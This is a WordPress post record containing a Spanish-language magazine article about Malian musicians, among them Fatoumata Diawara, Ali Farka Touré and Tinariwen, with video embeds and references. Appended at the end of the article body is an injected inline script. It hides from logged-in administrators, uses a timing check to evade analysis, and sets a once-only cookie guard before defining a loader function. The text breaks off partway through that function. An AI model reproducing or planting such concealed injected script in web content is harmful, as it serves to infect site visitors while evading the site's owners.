{"id":1951,"date":"2021-01-17T19:20:50","date_gmt":"2021-01-17T19:20:50","guid":{"rendered":"https:\/\/puertadeafrica.wordpress.com\/?p=1937"},"modified":"2026-05-16T16:49:00","modified_gmt":"2026-05-16T14:49:00","slug":"de-bamako-a-tombuctu-un-viaje-musical-por-mali","status":"publish","type":"post","link":"https:\/\/revista.puertadeafrica.com\/index.php\/2021\/01\/17\/de-bamako-a-tombuctu-un-viaje-musical-por-mali\/","title":{"rendered":"De Bamako a Tombuct\u00fa: un viaje musical por Mali"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img fetchpriority=\"high\" decoding=\"async\" width=\"1024\" height=\"1024\" src=\"https:\/\/revista.puertadeafrica.com\/wp-content\/uploads\/2021\/02\/3-1-1024x1024.jpg\" alt=\"\" class=\"wp-image-2167\" srcset=\"https:\/\/revista.puertadeafrica.com\/wp-content\/uploads\/2021\/02\/3-1-1024x1024.jpg 1024w, https:\/\/revista.puertadeafrica.com\/wp-content\/uploads\/2021\/02\/3-1-300x300.jpg 300w, https:\/\/revista.puertadeafrica.com\/wp-content\/uploads\/2021\/02\/3-1-150x150.jpg 150w, https:\/\/revista.puertadeafrica.com\/wp-content\/uploads\/2021\/02\/3-1-768x768.jpg 768w, https:\/\/revista.puertadeafrica.com\/wp-content\/uploads\/2021\/02\/3-1-1536x1536.jpg 1536w, https:\/\/revista.puertadeafrica.com\/wp-content\/uploads\/2021\/02\/3-1.jpg 2048w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption>La cantante Fatoumata Diawara, fotografiada por la artista et\u00edope A\u00efda Muluneh. Muluneh tambi\u00e9n ha dirigido el videoclip de <em>Nterini<\/em>\u00a0y es la responsable de la portada del \u00e1lbum<em> Fenfo<\/em> (2018).\u00a0<strong>Fuente: A\u00efda Muluneh<\/strong>.<\/figcaption><\/figure>\n\n\n\n<p class=\"has-text-align-justify\">Pocas veces o\u00edmos hablar de Mali en Europa y, cuando lo hacemos, suele ser en relaci\u00f3n con la&nbsp;<a href=\"https:\/\/puertadeafrica.wordpress.com\/2020\/08\/29\/mali-claves-de-un-golpe-de-estado-popular\/\">inseguridad y la inestabilidad pol\u00edtica<\/a> que azotan el pa\u00eds desde hace a\u00f1os. Lo que no suele ser tan com\u00fan es&nbsp;<strong>mirar Mali desde una perspectiva distinta<\/strong>: a trav\u00e9s de su m\u00fasica. Cuando hablamos de \u201cm\u00fasica maliense\u201d no hacemos referencia a ning\u00fan estilo en espec\u00edfico, sino, simplemente, a las obras de los&nbsp;<strong>m\u00fasicos ligados a este pa\u00eds<\/strong>.&nbsp;<\/p>\n\n\n\n<p class=\"has-text-align-justify\">La producci\u00f3n de dichos artistas se caracteriza por ser extremadamente variada, lo cual es fruto de una<strong>&nbsp;poderosa herencia hist\u00f3rica y la diversidad \u00e9tnica y cultural<\/strong>&nbsp;<strong>del pa\u00eds<\/strong>. A trav\u00e9s de algunos de los&nbsp;<strong>artistas y bandas malienses con m\u00e1s proyecci\u00f3n internacional<\/strong>, este art\u00edculo pretende acercar el lector al pa\u00eds y a algunos de los pueblos y culturas que forman parte de este (culturas compartidas, en muchos casos, con los estados vecinos).&nbsp;<\/p>\n\n\n\n<p class=\"has-text-align-justify\">La obra de varios de los m\u00fasicos que se presentan a continuaci\u00f3n se ha etiquetado bajo la denominaci\u00f3n de&nbsp;<strong>\u201cworld music\u201d<\/strong>. Muchos de ellos, de hecho, han sido nominados e incluso premiados en una categor\u00eda de los Grammy que lleva este mismo nombre. Hoy intentaremos huir de este tipo de generalizaciones, muchas veces utilizadas para englobar toda aquella m\u00fasica que no es \u201cmainstream\u201d en Occidente.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong><u>FATOUMATA DIAWARA<\/u><\/strong><\/h2>\n\n\n\n<p class=\"has-text-align-justify\">Una de las artistas malienses que m\u00e1s ha sonado \u00faltimamente alrededor del globo es&nbsp;<strong>Fatoumata Diawara<\/strong>. Esta cantautora y actriz naci\u00f3 en Costa de Marfil y creci\u00f3 en Bamako. Siendo una adolescente se traslad\u00f3 a Par\u00eds, y&nbsp;<a href=\"https:\/\/www.elperiodico.com\/es\/ocio-y-cultura\/20180713\/fatoumata-diawara-fenfo-entrevista-cruilla-6941844\">fue entonces cuando empez\u00f3 a tocar la guitarra<\/a>. Desde que Fatou public\u00f3, en 2011, su primer \u00e1lbum en solitario, ha colaborado con una gran variedad de&nbsp;artistas, como Gorillaz, Disclosure o Roberto&nbsp;Fonseca. Su \u00faltimo disco publicado es&nbsp;<em>Fenfo&nbsp;<\/em>(2018).<\/p>\n\n\n\n<p class=\"has-text-align-justify\">Diawara canta en&nbsp;<strong>bambara<\/strong>, una lengua que cuenta con, aproximadamente, unos 10 millones de hablantes repartidos entre varios pa\u00edses de \u00c1frica Occidental. En Mali es la primera en n\u00famero de hablantes. Adem\u00e1s, el bambara fue la lengua vehicular del&nbsp;<a href=\"https:\/\/www.newworldencyclopedia.org\/entry\/Bamana_Empire\"><strong>Imperio Bamana<\/strong><\/a>&nbsp;(<a href=\"https:\/\/www.britannica.com\/place\/Bambara-states\">siglos XVII &#8211; XIX<\/a>).&nbsp;<\/p>\n\n\n\n<p class=\"has-text-align-justify\">Musicalmente, el estilo de Diawara tiene mucha influencia de la m\u00fasica&nbsp;<strong>Wassoulou<\/strong>, propia de una regi\u00f3n cultural con el mismo nombre entre Mali, Costa de Marfil y Guinea. Algunos de los instrumentos t\u00edpicos de este estilo son el&nbsp;<em>djembe<\/em>&nbsp;(un instrumento de percusi\u00f3n) o el&nbsp;<em>soku<\/em>&nbsp;(de cuerda).<\/p>\n\n\n\n<p class=\"has-text-align-justify\">En sus letras, Diawara aborda tem\u00e1ticas como la&nbsp;<strong>migraci\u00f3n<\/strong>&nbsp;en canciones como&nbsp;<em>Nterini<\/em>&nbsp;(Mi amor) o&nbsp;<strong>el rol de la mujer<\/strong>&nbsp;en la sociedad, la mutilaci\u00f3n genital femenina y los matrimonios forzados; ejemplos son canciones como&nbsp;<em>Mousso<\/em>&nbsp;(Mujer) o&nbsp;<em>Bissa<\/em>&nbsp;(Qu\u00e9 hacer). La artista explica que sus canciones son&nbsp;<a href=\"https:\/\/indyweek.com\/music\/features\/fatoumata-diawara-leads-her-own-way\/\">\u201csobre las preguntas que se hacen<strong>&nbsp;las personas sin voz<\/strong>&nbsp;en el mundo, y que casi siempre son ni\u00f1os\/as y mujeres\u201d<\/a>.<\/p>\n\n\n\n<figure class=\"wp-block-embed aligncenter is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"Fatoumata Diawara - Nterini\" width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/4gmGL5SqhaY?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe>\n<\/div><figcaption><br><em>Fatoumata Diawara &#8211; Nterin<\/em>i<\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong><u>AMADOU &amp; MARIAM<\/u><\/strong><\/h2>\n\n\n\n<p class=\"has-text-align-justify\">Amadou Bagayoko y Mariam Doumbia se conocieron siendo adolescentes en el \u00fanico instituto para j\u00f3venes invidentes de&nbsp;<strong>Bamako<\/strong>. Hoy en d\u00eda, tras d\u00e9cadas de trayectoria, el d\u00fao se ha convertido en una de&nbsp;<strong>las caras m\u00e1s visibles de la m\u00fasica maliense en el mundo<\/strong>.&nbsp;<\/p>\n\n\n\n<p class=\"has-text-align-justify\">Durante los a\u00f1os 80, ganaron popularidad en Mali y en algunos pa\u00edses vecinos. Su m\u00fasica lleg\u00f3 a Europa unos a\u00f1os m\u00e1s tarde; la canci\u00f3n&nbsp;<em>Je pense \u00e0 toi<\/em>&nbsp;(1998) fue su primer \u00e9xito en Francia,&nbsp;<a href=\"http:\/\/www.rhythmpassport.com\/articles-and-reviews\/interview\/interview-amadou-mariam-songs-that-touch-all-sides-of-humanity-october-2017\/\">pero su \u00e1lbum&nbsp;<em>Dimanche \u00e0 Bamako<\/em> (2005)<\/a>, producido por Manu Chao, los&nbsp;<a href=\"https:\/\/teatro-nescafe-delasartes.cl\/amadou-mariam-chile-entrevista\/\">catapult\u00f3&nbsp;<\/a>a la fama internacional.<\/p>\n\n\n\n<p class=\"has-text-align-justify\">La&nbsp;<strong>m\u00fasica tradicional bambara<\/strong>&nbsp;tiene un gran peso en su obra; Amadou y Mariam se identifican con esta cultura, y&nbsp;<a href=\"https:\/\/www.bbc.co.uk\/sounds\/play\/b007g7r3\">hacen referencia a ella en canciones<\/a>&nbsp;como&nbsp;<em>Coulibaly&nbsp;<\/em>(que es el nombre de la dinast\u00eda fundadora del Imperio Bambara). El d\u00fao fusiona este estilo con el&nbsp;<em>rock<\/em>&nbsp;o el&nbsp;<em>blues<\/em>. En su \u00faltimo trabajo&nbsp;<em>La Confusion<\/em>&nbsp;(2017), la influencia del&nbsp;<em>funk<\/em>&nbsp;se hace tambi\u00e9n visible; en el disco tratan tem\u00e1ticas como la&nbsp;<a href=\"https:\/\/www.youtube.com\/watch?v=_RLneuI0s7M\"><strong>situaci\u00f3n de inestabilidad<\/strong><\/a>&nbsp;que atraviesa Mali. Actualmente, Amadou y Mariam viven en Bamako e impulsan m\u00faltiples proyectos sociales.<\/p>\n\n\n\n<figure class=\"wp-block-embed aligncenter is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-4-3 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"Amadou &amp; Mariam - Je pense \u00e0 toi\" width=\"640\" height=\"480\" src=\"https:\/\/www.youtube.com\/embed\/gnvJEhRNkSw?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe>\n<\/div><figcaption><br><em>Amadou &amp; Mariam &#8211; Je pense \u00e0 toi<\/em><\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong><u>ALI FARKA TOUR\u00c9<\/u><\/strong><\/h2>\n\n\n\n<p class=\"has-text-align-justify\">No se entender\u00eda un art\u00edculo como este sin hablar de Ali Farka Tour\u00e9 (1939 &#8211; 2006). Fue \u00e9l quien convirti\u00f3 lo que hoy conocemos como&nbsp;<strong>\u201c<em>desert blues<\/em>\u201d<\/strong>&nbsp;o \u201c<em>Saharan blues<\/em>\u201d en un estilo conocido a nivel mundial. Pese a que actualmente esta acepci\u00f3n est\u00e1 com\u00fanmente aceptada, el guitarrista jam\u00e1s se identific\u00f3 con ella:<\/p>\n\n\n\n<p class=\"has-text-align-right\">\u00ab<strong>Lo que yo hago es m\u00fasica tradicional<\/strong>. La palabra&nbsp;<em>blues<\/em>&nbsp;est\u00e1 bien para Europa, pero no para m\u00ed. Todo eso que se llama&nbsp;<em>blues<\/em>&nbsp;es cien por cien africano; son las ramas y hojas de la m\u00fasica africana.\u00bb&nbsp;<\/p>\n\n\n\n<p class=\"has-text-align-right\">Ali Farka Tour\u00e9,&nbsp;<a href=\"https:\/\/elpais.com\/diario\/1994\/05\/27\/cultura\/769989612_850215.html\"><em>El Pa\u00eds<\/em><\/a>&nbsp;(1994)<\/p>\n\n\n\n<p class=\"has-text-align-justify\">Tour\u00e9 naci\u00f3 en Niafunk\u00e9, cerca de Tombuct\u00fa, donde trabaj\u00f3 como campesino hasta dedicarse a la m\u00fasica. Antes de la guitarra, toc\u00f3 varios instrumentos tradicionales como el n&#8217;goni (una mezcla entre un arpa y un la\u00fad) o el djerkel (una guitarra de una sola cuerda). En 1986, habiendo regresado a su aldea tras pasar unos a\u00f1os fuera, su m\u00fasica tom\u00f3 impulso en Europa.&nbsp;<a href=\"https:\/\/www.theguardian.com\/news\/2006\/mar\/08\/guardianobituaries.artsobituaries\">Su vida cambi\u00f3<\/a>&nbsp;y se convirti\u00f3 en uno de los<strong>&nbsp;artistas africanos m\u00e1s conocidos del mundo<\/strong>. En 1999, decidi\u00f3 regresar a Niafunk\u00e9. All\u00ed invirti\u00f3 sus ganancias en la implantaci\u00f3n del regad\u00edo, trabaj\u00f3 la tierra y ejerci\u00f3 de alcalde hasta su fallecimiento en 2006. En 2012, militantes islamistas&nbsp;<a href=\"https:\/\/www.bbc.com\/news\/world-africa-20624236\">prohibieron<\/a>&nbsp;las canciones de Tour\u00e9 en su pueblo natal por considerarlas contrarias a su interpretaci\u00f3n de la&nbsp;<em>Sharia<\/em>.<\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-rich is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"Ali Farka Tour\u00e9 - Heygana (Official Audio)\" width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/OgNFwXC4I6M?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe> \n<\/div><figcaption><br><em>Ali Farka Tour\u00e9 &#8211; Heygana<\/em><\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong><u>SONGHOY BLUES<\/u><\/strong><\/h2>\n\n\n\n<p class=\"has-text-align-justify\">La toma del norte de Mali por el grupo islamista Ansar Dine provoc\u00f3 un \u00e9xodo de refugiados hacia el sur. La mayor\u00eda de los desplazados fueron tuareg y songhai, pueblos del norte del pa\u00eds. Garba Tour\u00e9, Aliou Tour\u00e9 y Oumar Tour\u00e9 son tres de los&nbsp;<strong>miles de j\u00f3venes que huyeron a Bamako<\/strong>, ciudad donde se conocieron y&nbsp;<a href=\"https:\/\/www.theguardian.com\/music\/2013\/dec\/04\/songhoy-blues-mali-africa-express\">formaron un grupo de m\u00fasica<\/a>. En pocos meses se hicieron populares entre la&nbsp;<strong>comunidad songhai de la capital<\/strong>. El bater\u00eda Nathanael Demb\u00e9l\u00e9 se uni\u00f3 a la banda, y con su m\u00fasica atrajeron, tambi\u00e9n, a touaregs y sure\u00f1os.<\/p>\n\n\n\n<p class=\"has-text-align-justify\">La banda se llama Songhoy Blues, en referencia a la cultura de sus miembros y a la fascinaci\u00f3n que comparten por artistas como BB King. En 2013, lanzaron su primer \u00e9xito a mayor escala:&nbsp;<em>Soubour&nbsp;<\/em>(paciencia), con la colaboraci\u00f3n del guitarrista Nick Zinner. Desde entonces, han publicado tres \u00e1lbumes,&nbsp;<strong>todos en su lengua materna, el songhai<\/strong>, y con&nbsp;<a href=\"https:\/\/www.hotpress.com\/music\/interview-songhoy-blues-on-mali-rock-n-roll-and-optimisme-22832168\">t\u00edtulos muy simb\u00f3licos<\/a>:&nbsp;<em>Music in Exile<\/em>&nbsp;(2015),&nbsp;<em>R\u00e9sistance&nbsp;<\/em>(2017) y&nbsp;<em>Optimisme&nbsp;<\/em>(2020).&nbsp;<\/p>\n\n\n\n<p class=\"has-text-align-justify\">En este \u00faltimo trabajo hay temas como&nbsp;<em>Fey Fey&nbsp;<\/em>(divisi\u00f3n), en favor de la&nbsp;<a href=\"https:\/\/daily.bandcamp.com\/features\/songhoy-blues-optimisme-interview\">reconciliaci\u00f3n entre los pueblos que habitan Mali<\/a><em>,&nbsp;<\/em>o&nbsp;<em>Barre&nbsp;<\/em>(cambio), donde apuestan por la fuerza de la juventud para cambiar las cosas.<\/p>\n\n\n\n<figure class=\"wp-block-embed aligncenter is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"Songhoy Blues - Al Hassidi Terei (Official Video)\" width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/KvGsV8Trl8o?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe>\n<\/div><figcaption><br><em>Songhoy Blues &#8211; Al Hassidi Terei<\/em><\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong><u>TINARIWEN Y LA M\u00daSICA DEL PUEBLO TAMASHEQ<\/u><\/strong><\/h2>\n\n\n\n<p class=\"has-text-align-justify\">Durante d\u00e9cadas, el pueblo tuareg o tamasheq ha luchado por su&nbsp;<strong>libertad e independencia<\/strong>. La m\u00fasica de este pueblo est\u00e1&nbsp;<a href=\"https:\/\/greenglobaltravel.com\/tinariwen-interview-mali-tuareg-blues-legends\/\">muy ligada a su entorno<\/a>, el desierto, y a la poes\u00eda en su lengua, el tamasheq. En las \u00faltimas d\u00e9cadas, las guitarras se han integrado en la producci\u00f3n de muchos artistas. Este es el caso de Tinariwen, la banda tamasheq m\u00e1s emblem\u00e1tica en activo.<\/p>\n\n\n\n<p class=\"has-text-align-justify\">La m\u00fasica de&nbsp;<strong>Tinariwen<\/strong>&nbsp;(que significa \u201cdesiertos\u201d) tambi\u00e9n se ha identificado como \u201c<em>Sahara blues<\/em>\u201d o \u201c<em>desert blues<\/em>\u201d, pese a que sus integrantes m\u00e1s veteranos explican que no fue hasta que empezaron a girar por el mundo, cuando descubrieron la existencia de este estilo: \u201c<strong>Como el&nbsp;<em>blues<\/em>, nuestra m\u00fasica habla sobre la nostalgia<\/strong>&nbsp;(&#8230;). Descubrimos el&nbsp;<em>blues<\/em>&nbsp;no hace mucho y, hoy en d\u00eda, muchos de nosotros lo escuchamos con frecuencia\u201d,&nbsp;<a href=\"https:\/\/greenglobaltravel.com\/tinariwen-interview-mali-tuareg-blues-legends\/\">declaraban en una entrevisa<\/a>&nbsp;para la agencia Green Global Travel. En la comunidad tamasheq, su estilo se conoce como&nbsp;<em><a href=\"https:\/\/thequietus.com\/articles\/21794-tinariwen-interview\"><strong>assouf<\/strong><\/a><\/em> (guitarra).<\/p>\n\n\n\n<p class=\"has-text-align-justify\">El grupo se form\u00f3 en los campos de refugiados de&nbsp;<a href=\"https:\/\/www.theguardian.com\/music\/2004\/jan\/08\/popandrock\">Libia<\/a>&nbsp;en 1979. Sus miembros eran hijos de<strong>&nbsp;la generaci\u00f3n que protagoniz\u00f3 la primera revuelta tuareg en Mali&nbsp;<\/strong>(1963), duramente reprimida. Durante los a\u00f1os 80 ganaron popularidad en su comunidad, y en los 90 combinaron la m\u00fasica con la lucha: algunos de los miembros de la banda participaron activamente en la<strong>&nbsp;revuelta contra el ej\u00e9rcito maliense de 1990<\/strong>. Ibrahim Ag Alhabib, en declaraciones para&nbsp;<a href=\"https:\/\/elpais.com\/diario\/2007\/05\/26\/babelia\/1180134383_850215.html\"><em>El Pa\u00eds<\/em><\/a><em>,<\/em>&nbsp;explicaba:<\/p>\n\n\n\n<p class=\"has-text-align-right\">\u00abMi carrera de soldado fue s\u00f3lo un episodio de mi vida, pero ahora s\u00e9 que la m\u00fasica es un arma mucho m\u00e1s efectiva. (&#8230;) Ahora el \u00e9xito de la m\u00fasica tuareg nos permite ense\u00f1ar al mundo que existe una ciudad llamada Kidal, al sur del S\u00e1hara, donde habita una de las civilizaciones m\u00e1s antiguas de la tierra\u00bb.<\/p>\n\n\n\n<p class=\"has-text-align-right\">Abrahim Ag Alhabib,&nbsp;<em>El Pa\u00eds&nbsp;<\/em>(2007)<\/p>\n\n\n\n<p class=\"has-text-align-justify\">En 2001, lanzaron su primer \u00e1lbum a escala internacional, y desde entonces han disfrutado de un \u00e9xito aclamador. Sus letras en tamasheq hablan de la nostalgia por los \u201c<a href=\"https:\/\/thequietus.com\/articles\/21794-tinariwen-interview\"><strong>los&nbsp;viejos tiempos cuando los Tuareg eran un pueblo libre del desierto<\/strong><\/a>\u201d o de \u201c<a href=\"https:\/\/daily.bandcamp.com\/features\/tinariwen-amadjar-interview\">la&nbsp;<\/a><a href=\"https:\/\/daily.bandcamp.com\/features\/tinariwen-amadjar-interview\"><strong>lucha<\/strong><\/a><a href=\"https:\/\/daily.bandcamp.com\/features\/tinariwen-amadjar-interview\">&nbsp;con la administraci\u00f3n de Mali, el&nbsp;<\/a><a href=\"https:\/\/daily.bandcamp.com\/features\/tinariwen-amadjar-interview\"><strong>cambio clim\u00e1tico<\/strong><\/a><a href=\"https:\/\/daily.bandcamp.com\/features\/tinariwen-amadjar-interview\">&nbsp;(&#8230;) del&nbsp;<\/a><a href=\"https:\/\/daily.bandcamp.com\/features\/tinariwen-amadjar-interview\"><strong>amor<\/strong><\/a><a href=\"https:\/\/daily.bandcamp.com\/features\/tinariwen-amadjar-interview\">&nbsp;y de la belleza de nuestro desierto<\/a>\u201d.<\/p>\n\n\n\n<p class=\"has-text-align-justify\">Pero Tinariwen no es el \u00fanico grupo tamasheq que suena m\u00e1s all\u00e1 del S\u00e1hara: Imarhan, Tamikrest, Mdou Moctar o Bombino han seguido su estela. Ellos forman parte de una&nbsp;<a href=\"https:\/\/www.theguardian.com\/music\/2016\/jun\/09\/kel-assouf-imarhan-new-wave-tuareg-rock-tinariwen-bombino\">nueva generaci\u00f3n de m\u00fasicos<\/a>, mayoritariamente urbana y con m\u00e1s influencias estil\u00edsticas.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"Tinariwen (+IO:I) - Sastan\u00e0qq\u00e0m\" width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/vACZA9dGvV4?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe>\n<\/div><figcaption><br><em>Tinariwen &#8211; Sastan\u00e0qq\u00e0m<\/em><\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>La m\u00fasica: otra \u00abpuerta de \u00e1frica\u00bb<\/strong><\/h2>\n\n\n\n<p class=\"has-text-align-justify\">La obra de los artistas presentados en este art\u00edculo pone de manifiesto algunos de los retos a los que la sociedad maliense se enfrenta actualmente y sacuden el pa\u00eds, como la violencia machista, la hist\u00f3rica lucha por la independencia de los Tamasheq, la migraci\u00f3n hacia el exterior o los efectos del cambio clim\u00e1tico. Sin embargo, para muchos de estos autores la m\u00fasica es tambi\u00e9n <strong>motor de cambio<\/strong> y una forma de lucha, reivindicaci\u00f3n y resistencia.<\/p>\n\n\n\n<p class=\"has-text-align-justify\">Muchas veces, animarse a conocer el arte que se produce en un estado significa abrir una puerta para descubrirlo. M\u00e1s all\u00e1 de ver un pa\u00eds a trav\u00e9s de sus problemas (algo muy com\u00fan cuando se trata de estados africanos), la m\u00fasica permite al oyente <strong>escuchar la narrativa<\/strong> que se construye localmente y entender <strong>las reivindicaciones<\/strong> por las que los artistas luchan mientras ponen en valor su <strong>patrimonio cultural e identidad<\/strong>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Referencias bibliogr\u00e1ficas<\/strong><\/h2>\n\n\n\n<p>Bamana Empire. 2020.&nbsp;<em>The New World Encyclopedia<\/em>. [online] Disponible en: &lt;https:\/\/www.newworldencyclopedia.org\/entry\/Bamana_Empire&gt; [Acceso 24 de Diciembre 2020].<\/p>\n\n\n\n<p>BBC Sounds. 2006.&nbsp;<em>World Routes &#8211; Festival On The Niger &#8211; Amadou And Mariam<\/em>. [online] Disponible en: &lt;https:\/\/www.bbc.co.uk\/sounds\/play\/b007g7r3&gt; [Acceso 24 de Diciembre 2020].<\/p>\n\n\n\n<p>Calavanti, A., 2020.&nbsp;<em>Mali\u2019S Songhoy Blues Seek Youth Empowerment Through Majestic Rock<\/em>. [online] Bandcamp Daily. Disponible en: &lt;https:\/\/daily.bandcamp.com\/features\/songhoy-blues-optimisme-interview&gt; [Acceso 24 de Diciembre 2020].<\/p>\n\n\n\n<p>Carty, P., 2020.&nbsp;<em>Interview: Songhoy Blues On Mali, Rock N&#8217; Roll, And Optimisme | Hotpress<\/em>. [online] Hotpress. Disponible en: &lt;https:\/\/www.hotpress.com\/music\/interview-songhoy-blues-on-mali-rock-n-roll-and-optimisme-22832168&gt; [Acceso 24 de Diciembre 2020].<\/p>\n\n\n\n<p>Cumming, T., 2004.&nbsp;<em>Interview: Tinariwen, Guitar Legends Of The Sahara<\/em>. [online] The Guardian. Disponible en: &lt;https:\/\/www.theguardian.com\/music\/2004\/jan\/08\/popandrock&gt; [Acceso 24 de Diciembre 2020].<\/p>\n\n\n\n<p>Denselow, R., 2006.&nbsp;<em>Ali Farka Tour\u00e9<\/em>. [online] The Guardian. Disponible en: &lt;https:\/\/www.theguardian.com\/news\/2006\/mar\/08\/guardianobituaries.artsobituaries&gt; [Acceso 24 de Diciembre 2020].<\/p>\n\n\n\n<p>Encyclopedia Britannica. 2020.&nbsp;<em>Bambara States | Historical States, Africa<\/em>. [online] Disponible en: &lt;https:\/\/www.britannica.com\/place\/Bambara-states&gt; [Acceso 24 de Diciembre 2020].<\/p>\n\n\n\n<p>Fessy, T., 2012.&nbsp;<em>Blues For Mali As Ali Farka Toure&#8217;s Music Is Banned<\/em>. [online] BBC News. Disponible en: &lt;https:\/\/www.bbc.com\/news\/world-africa-20624236&gt; [Acceso 24 de Diciembre 2020].<\/p>\n\n\n\n<p>Freire, J., 2018.&nbsp;<em>Fatoumata Diawara: \u00abTodas Las Mujeres Estamos En La Misma Lucha\u00bb<\/em>. [online] elperiodico. Disponible en: &lt;https:\/\/www.elperiodico.com\/es\/ocio-y-cultura\/20180713\/fatoumata-diawara-fenfo-entrevista-cruilla-6941844&gt; [Acceso 24 de Diciembre 2020].<\/p>\n\n\n\n<p>Galilea, C., 1994.&nbsp;<em>\u00abEl &#8216;Blues&#8217; Es Cien Por Cien Africano\u00bb, Afirma Ali Farka Toure<\/em>. [online] EL PA\u00cdS. Disponible en: &lt;https:\/\/elpais.com\/diario\/1994\/05\/27\/cultura\/769989612_850215.html&gt; [Acceso 24 de Diciembre 2020].<\/p>\n\n\n\n<p>Green Global Travel. 2020.&nbsp;<em>Interview: Tinariwen, Mali\u2019S Tuareg Blues Legends<\/em>. [online] Disponible en: &lt;https:\/\/greenglobaltravel.com\/tinariwen-interview-mali-tuareg-blues-legends\/&gt; [Acceso 24 de Diciembre 2020].<\/p>\n\n\n\n<p>McRobbie, J., 2019.&nbsp;<em>From Mali To France To Italy, Acting To Music, Fatoumata Diawara Leads Her Own Way<\/em>. [online] INDY Week. Disponible en: &lt;https:\/\/indyweek.com\/music\/features\/fatoumata-diawara-leads-her-own-way\/&gt; [Acceso 24 de Diciembre 2020].<\/p>\n\n\n\n<p>Morgan, A., 2013.&nbsp;<em>Songhoy Blues: The Lost Sound Of Northern Mali Emerges From Civil War<\/em>. [online] The Guardian. Disponible en: &lt;https:\/\/www.theguardian.com\/music\/2013\/dec\/04\/songhoy-blues-mali-africa-express&gt; [Acceso 24 de Diciembre 2020].<\/p>\n\n\n\n<p>Morgan, A., 2016.&nbsp;<em>Meet Kel Assouf And Imarhan, The New Wave Of Tuareg Rock<\/em>. [online] The Guardian. Disponible en: &lt;https:\/\/www.theguardian.com\/music\/2016\/jun\/09\/kel-assouf-imarhan-new-wave-tuareg-rock-tinariwen-bombino&gt; [Acceso 24 de Diciembre 2020].<\/p>\n\n\n\n<p>Neira, F., 2007.&nbsp;<em>Tinariwen: El Rock Se Pone Turbante<\/em>. [online] EL PA\u00cdS. Disponible en: &lt;https:\/\/elpais.com\/diario\/2007\/05\/26\/babelia\/1180134383_850215.html&gt; [Acceso 24 de Diciembre 2020].<\/p>\n\n\n\n<p>Rhythm Passport. 2017.&nbsp;<em>Interview: Amadou &amp; Mariam \u2013 Songs That Touch All Sides Of Humanity<\/em>. [online] Disponible en: &lt;http:\/\/www.rhythmpassport.com\/articles-and-reviews\/interview\/interview-amadou-mariam-songs-that-touch-all-sides-of-humanity-october-2017\/&gt; [Acceso 24 de Diciembre 2020].<\/p>\n\n\n\n<p>TEATRO NESCAF\u00c9 DE LAS ARTES. 2019.&nbsp;<em>Amadou &amp; Mariam: \u201cUna Canci\u00f3n Puede Inspirar Un Cambio\u201d<\/em>. [online] Disponible en: &lt;https:\/\/teatro-nescafe-delasartes.cl\/amadou-mariam-chile-entrevista\/&gt; [Acceso 24 de Diciembre 2020].<\/p>\n\n\n\n<p>Troughton, R., 2017.&nbsp;<em>Marching To A Different Dune: Tinariwen Interviewed<\/em>. [online] The Quietus. Disponible en: &lt;https:\/\/thequietus.com\/articles\/21794-tinariwen-interview&gt; [Acceso 24 de Diciembre 2020].<\/p>\n\n\n\n<p>Youtube.com. 2018.&nbsp;<em>Amadou &amp; Mariam &#8211; Entrevistas En World Groove<\/em>. [online] Disponible en: &lt;https:\/\/www.youtube.com\/watch?v=_RLneuI0s7M&gt; [Acceso 24 de Diciembre 2020].<\/p>\n\n\n\n<p><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 